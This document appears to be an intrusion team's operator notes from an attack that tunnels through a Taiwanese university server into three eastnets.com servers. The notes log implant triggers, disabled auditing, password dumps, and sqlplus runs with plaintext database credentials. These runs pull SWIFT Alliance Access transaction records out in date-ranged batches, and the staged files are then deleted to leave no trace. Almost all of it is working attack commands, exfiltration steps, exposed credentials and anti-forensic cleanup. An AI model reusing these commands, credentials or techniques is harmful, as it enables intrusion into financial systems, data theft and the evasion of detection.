347 lines
No EOL
10 KiB
Text
347 lines
No EOL
10 KiB
Text
ISP: LK
|
|
City:
|
|
Phone:
|
|
ISP IP: 69.42.98.86
|
|
Source IP:
|
|
FINAL target IP:
|
|
Ops Machine: LOCALHOST.LOCALDOMAIN
|
|
Redirecting Method 1: INCISION
|
|
Redirect Host 1: 163.22.20.4
|
|
Redirect Target 1: 192.168.208.11
|
|
Redirecting Method 2: INCISION
|
|
Redirect Host 2: 192.168.208.11
|
|
Redirect Target 2: 192.168.200.51
|
|
Redirecting Method 3: INCISION
|
|
Redirect Host 3: 192.168.208.11
|
|
Redirect Target 3: 192.168.200.87
|
|
|
|
|
|
BEGIN UNIX OPNOTES:
|
|
|
|
Targets (IP, full domain name, target tags: pitchimpair unsuccessful not_attempted ) :
|
|
--> 163.22.20.4 euclid.csie.cnu.edu.tw pitchimpair unix successful
|
|
---> 192.168.208.11 ensbdmgmt2.eastnets.com jeepflea_market windows successful
|
|
----> 192.168.200.51 ensbdsl1.eastnets.com jeepflea_market windows successful
|
|
----> 192.168.200.87 ensbdnisl2.eastnets.com jeepflea_market windows successful
|
|
Ops Machine: WO
|
|
Results:
|
|
|
|
PROJECT=JEEPFLEA_MARKET
|
|
OPUSER=90069
|
|
OPSCHEDULE=13053013155600
|
|
SCRUBVER=6.007000002
|
|
|
|
======================= P0
|
|
--- 163.22.20.4 ---
|
|
=======================
|
|
ourtn -Y5eU /current/up/noserver-x86sol2.8 -wBIN 163.22.20.4
|
|
2013-06-05 17:55:19 UTC on target.
|
|
|
|
-w
|
|
Uptime: 16 day(s), 17:07:14
|
|
|
|
USER TTY LOGIN@ IDLE PID
|
|
|
|
-logs -x
|
|
-gs pscolor -tp
|
|
-lss . /tmp / /root
|
|
-tail /etc/rc.local
|
|
-tail /etc/ld.so.preload
|
|
|
|
2013-06-05 17:58:13 UTC clear; moving.
|
|
|
|
-tunnel
|
|
r 50986 192.168.254.72
|
|
r 41027 192.168.254.72
|
|
|
|
-logs -x
|
|
-gs pscolor -tp
|
|
-lss . /tmp / /root
|
|
-tail /etc/rc.local
|
|
-tail /etc/ld.so.preload
|
|
2013-06-05 20:26:36 UTC -bB
|
|
|
|
|
|
|
|
|
|
|
|
|
|
LOCALHOST.LOCALDOMAIN: scrubhands v. 6.007000002 20130605-1729
|
|
###################
|
|
SCRUBHANDS v6.007000002 (suite v6.7.0.02 run in /192.168.254.71) command line:
|
|
:
|
|
/usr/local/bin/scrubhands -t -S 13053013155600 -P JEEPFLEA_MARKET -I 90069 -T 11-5 -n 8.8.8.8,4.2.2.2 69.42.98.86/240/94
|
|
###################
|
|
Final lines of bwmonitor.txt:
|
|
Wed Jun 05 20:47:11 UTC 2013
|
|
eth0 bytes (MB) packets kbps (kBps) kbps-1m kbps-10m kbps-hr
|
|
TX 10785343 (10.3) 50975 0.0 (0.0) 0.0 0.1 4.4
|
|
RX 52281957 (49.9) 58906 0.0 (0.0) 0.0 0.5 55.9
|
|
|
|
###################################################
|
|
PROJECT: jeepflea_market
|
|
DATE: 05:39 PM 06/05/2013
|
|
OPUSER: 90069
|
|
OPSCHEDULE: 13053013155600
|
|
#Op Status: Unsuccessful
|
|
#Non-Standard: True
|
|
###################################################
|
|
Targets:
|
|
|
|
|
|
|
|
Results:
|
|
======================= T1
|
|
--- 192.168.208.11 --- ensbdmgmt2
|
|
=======================
|
|
UR:JEEPFLEA_MARKET59
|
|
egg prep:
|
|
PITCHIP:50986
|
|
PITCHIP:41027
|
|
PSP: N/A
|
|
<CallbackAddress>163.22.20.4</CallbackAddress>
|
|
- <CallbackPorts>
|
|
- <CallbackPair>
|
|
- <SrcPort>0</SrcPort>
|
|
- <DstPort>50986</DstPort>
|
|
- </CallbackPair>
|
|
- <CallbackPair>
|
|
- <SrcPort>0</SrcPort>
|
|
- <DstPort>41027</DstPort>
|
|
- </CallbackPair>
|
|
- </CallbackPorts>
|
|
6:07 PM 6/5/2013 on target.
|
|
|
|
6:11 PM 6/5/2013 simple barfed on me. Here's the output I got:
|
|
Below match threshold or multiple matches. You must choose. Choose wisely.
|
|
|
|
0) None of these - create a new target db
|
|
|
|
1) (Confidence: 0.166666666667) JEEPFLEA_MARKET / ENSBDFIIV1 / PC ID 0x000000010001266d / eb62f5d8-4365-41bc-a38b-559bf60ee72d / MACS: ['00-22-64-9d-4d-fc', '00-22-64-9d-4d-fe', '00-24-81-a7-4b-06']
|
|
|
|
Enter selection:
|
|
0
|
|
* <type 'exceptions.Exception'> : Have a target ID, but data not in database, something is wrong
|
|
--Traceback (most recent call last):
|
|
File "D:\DSZOpsDisk\Resources\Ops\PyScripts\Connected.py", line 24, in <module>
|
|
targ = ops.project.getTarget()
|
|
File "D:\DSZOpsDisk\Resources\Ops\PyScripts\Lib\ops\project\__init__.py", line 125, in getTarget
|
|
raise Exception('Have a target ID, but data not in database, something is wrong')
|
|
--
|
|
TL;DR: couldn't find the targetdb for the target. Then simple bailed entirely... ran "survey -run" to force simple to run.
|
|
Uptime: 110 days, 19:58:38
|
|
audit dorked; pwdump grabbed.
|
|
|
|
|
|
monitor packetredirect -listenport 2160 -raw
|
|
redirect -tcp -lplisten 1922 -target 192.168.200.51 1922
|
|
redirect -tcp -lplisten 9002 -target 192.168.200.87 9002
|
|
|
|
diffhour -age 3h -sysdrive -recursive
|
|
channels stomped..
|
|
8:25 PM 6/5/2013 QND
|
|
|
|
======================= T2
|
|
--- 192.168.200.51 --- ensbdsl1
|
|
=======================
|
|
PSP: Symantec Endpoint 11
|
|
Trigger: 0x1000125aa ICMP 8,0 Listen RHP (1922)
|
|
|
|
----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
|
|
Target Address : 192.168.200.51
|
|
Source Address : 192.168.200.11
|
|
Target Protocol : ICMP
|
|
ICMP type,code : 8,0
|
|
Keyfile : D:\DSZOpsDisk\Resources\Pc\Keys\JEEPFLEA_MARKET\private_key.bin
|
|
Listen Address : 0.0.0.0
|
|
Listen Port : 1922
|
|
Redirect through : 127.0.0.1:2160
|
|
Final Destination : 192.168.200.51
|
|
Id : 0x00000001000125aa
|
|
Packet Trailer : 0x2f78
|
|
|
|
----====**** CORDIALFLIMSY TRIGGER END ****====----
|
|
|
|
6:24 PM 6/5/2013 on target.
|
|
Uptime: 6 days, 23:51:50
|
|
dorked audit, pwdumped.
|
|
|
|
SWIFT collect:
|
|
|
|
put D:\DSZOpsDisk\tmp\MSIef7bc.LOG -name C:\windows\temp\MSIef7bc.LOG
|
|
cd C:\windows\temp
|
|
run -command "cmd.exe /q" -redirect
|
|
|
|
D:\alliance\access\database\bin\sqlplus.exe saauser/Aetq9f7CQtljCHtAmstCGF64C
|
|
@MSIef7bc.LOG
|
|
|
|
Enter Output File Name: MSIef7bd.LOG
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130201
|
|
Enter ENDING date in the format "yyyymmdd": 20130301
|
|
|
|
ended out ~19m.
|
|
get C:\WINDOWS\temp\MSIef7bd.LOG
|
|
deleted MSIef7bd.LOG
|
|
|
|
Enter Output File Name: MSIef7be.LOG
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130302
|
|
Enter ENDING date in the format "yyyymmdd": 20130401
|
|
ended out ~20m
|
|
|
|
get C:\WINDOWS\temp\MSIef7be.LOG
|
|
deleted file.
|
|
|
|
Enter Output File Name: MSIef7bf
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130402
|
|
Enter ENDING date in the format "yyyymmdd": 20130420
|
|
|
|
note: the script will automatically assign an LST extension if you fail to supply an extension...
|
|
|
|
~3m in size.
|
|
get C:\WINDOWS\temp\MSIef7bf.LST
|
|
deleted .LST file
|
|
|
|
Enter Output File Name: MSIef7b0.LOG
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130421
|
|
Enter ENDING date in the format "yyyymmdd": 20130510
|
|
|
|
file ended up being 57 bytes.
|
|
deleted.
|
|
|
|
re-queried:
|
|
Enter Output File Name: MSIef7b0.LOG
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130421
|
|
Enter ENDING date in the format "yyyymmdd": 20130604
|
|
|
|
file was 57 bytes again.
|
|
grabbed and deleted.
|
|
|
|
deleting MSIef7bc.LOG
|
|
|
|
going to do a survey of the database to see what's wrong here...
|
|
put D:\DSZOpsDisk\tmp\MSI6fe11.LOG -name C:\windows\temp\MSI6fe11.LOG
|
|
|
|
D:\alliance\access\database\bin\sqlplus.exe / as SYSDBA
|
|
@MSI6fe11.LOG
|
|
MSI6ff11.LOG output filename.
|
|
|
|
file is appox. 5k
|
|
grabbed and deleting
|
|
|
|
deleted MSI6fe11.LOG
|
|
|
|
7:35 PM 6/5/2013 all done here; no residue. time to go.
|
|
|
|
grabbed:
|
|
D:\alliance\access\database\network\admin\
|
|
tnsnames.ora
|
|
sqlnet.ora
|
|
listener.ora
|
|
|
|
diffhour -age 2h -sysdrive -recursive
|
|
channels
|
|
7:45 PM 6/5/2013 QND
|
|
|
|
|
|
|
|
|
|
======================= T3
|
|
--- 192.168.200.87 --- ensbdnisl2
|
|
=======================
|
|
PSP: Symantec Endpoint 11
|
|
Trigger: 0x1000125b9 ICMP 8,0 Listen RHP (9002)
|
|
|
|
----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
|
|
Target Address : 192.168.200.87
|
|
Source Address : 192.168.200.11
|
|
Target Protocol : ICMP
|
|
ICMP type,code : 8,0
|
|
Keyfile : D:\DSZOpsDisk\Resources\Pc\Keys\JEEPFLEA_MARKET\private_key.bin
|
|
Listen Address : 0.0.0.0
|
|
Listen Port : 9002
|
|
Redirect through : 127.0.0.1:2160
|
|
Final Destination : 192.168.200.87
|
|
Id : 0x00000001000125b9
|
|
Packet Trailer : 0x3036
|
|
|
|
----====**** CORDIALFLIMSY TRIGGER END ****====----
|
|
6:25 PM 6/5/2013 on target.
|
|
Below match threshold or multiple matches. You must choose. Choose wisely.
|
|
|
|
0) None of these - create a new target db
|
|
|
|
1) (Confidence: 0.166666666667) JEEPFLEA_MARKET / ENSBDSL3 / PC ID 0x00000001000125b8 / ee72ac50-2d6f-4198-b196-724303e12f23 / MACS: ['00-23-7d-f2-d6-08']
|
|
|
|
Enter selection:
|
|
0
|
|
* <type 'exceptions.Exception'> : Have a target ID, but data not in database, something is wrong
|
|
--Traceback (most recent call last):
|
|
File "D:\DSZOpsDisk\Resources\Ops\PyScripts\Connected.py", line 24, in <module>
|
|
targ = ops.project.getTarget()
|
|
File "D:\DSZOpsDisk\Resources\Ops\PyScripts\Lib\ops\project\__init__.py", line 125, in getTarget
|
|
raise Exception('Have a target ID, but data not in database, something is wrong')
|
|
--
|
|
TL;Dr: simple exploded again. Can't find the targetdb. same issue as T1. going to run "survey -run"
|
|
|
|
Uptime: 26 days, 22:22:20
|
|
dorked auditing; grabbed pwdump.
|
|
|
|
put D:\DSZOpsDisk\tmp\MSIef7bc.LOG -name C:\$recycle.bin\S-1-5-21-2744848747-1958344455-2925660524-500\$ITFPV00.txt
|
|
cd C:\$recycle.bin\S-1-5-21-2744848747-1958344455-2925660524-500\
|
|
run -command "cmd.exe /q" -redirect
|
|
|
|
|
|
|
|
|
|
D:\alliance\access\database\bin\sqlplus.exe saauser/AF1TR6SnML9U1riiGuMxQRQH5
|
|
@$ITFPV00.txt
|
|
|
|
Enter Output File Name: $ITFPV01.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20120101
|
|
Enter ENDING date in the format "yyyymmdd": 20120201
|
|
~4m in size.
|
|
grabbing...
|
|
deleting.
|
|
|
|
Enter Output File Name: $ITFPV02.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20120202
|
|
Enter ENDING date in the format "yyyymmdd": 20120501
|
|
~11m in size.
|
|
grabbing...
|
|
deleting.
|
|
|
|
Enter Output File Name: $ITFPV03.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20120502
|
|
Enter ENDING date in the format "yyyymmdd": 20120801
|
|
~10m in size
|
|
grabbing...
|
|
deleting.
|
|
|
|
Enter Output File Name: $ITFPV04.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20120802
|
|
Enter ENDING date in the format "yyyymmdd": 20130101
|
|
accidentally deleted our collection. re-querying, same parameters.
|
|
~20m
|
|
grabbing...
|
|
deleting.
|
|
|
|
Enter Output File Name: $ITFPV05.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130102
|
|
Enter ENDING date in the format "yyyymmdd": 20130401
|
|
~15m
|
|
grabbing...
|
|
deleting.
|
|
|
|
Enter Output File Name: $ITFPV06.txt
|
|
Enter BEGINNING date in the format "yyyymmdd": 20130402
|
|
Enter ENDING date in the format "yyyymmdd": 20130604
|
|
~12m
|
|
grabbing...
|
|
deleting.
|
|
|
|
deleted ITFPV00
|
|
8:20 PM 6/5/2013 all done here.
|
|
|
|
diffhour -age 2h -sysdrive -recursive
|
|
channels
|
|
8:23 PM 6/5/2013 QND |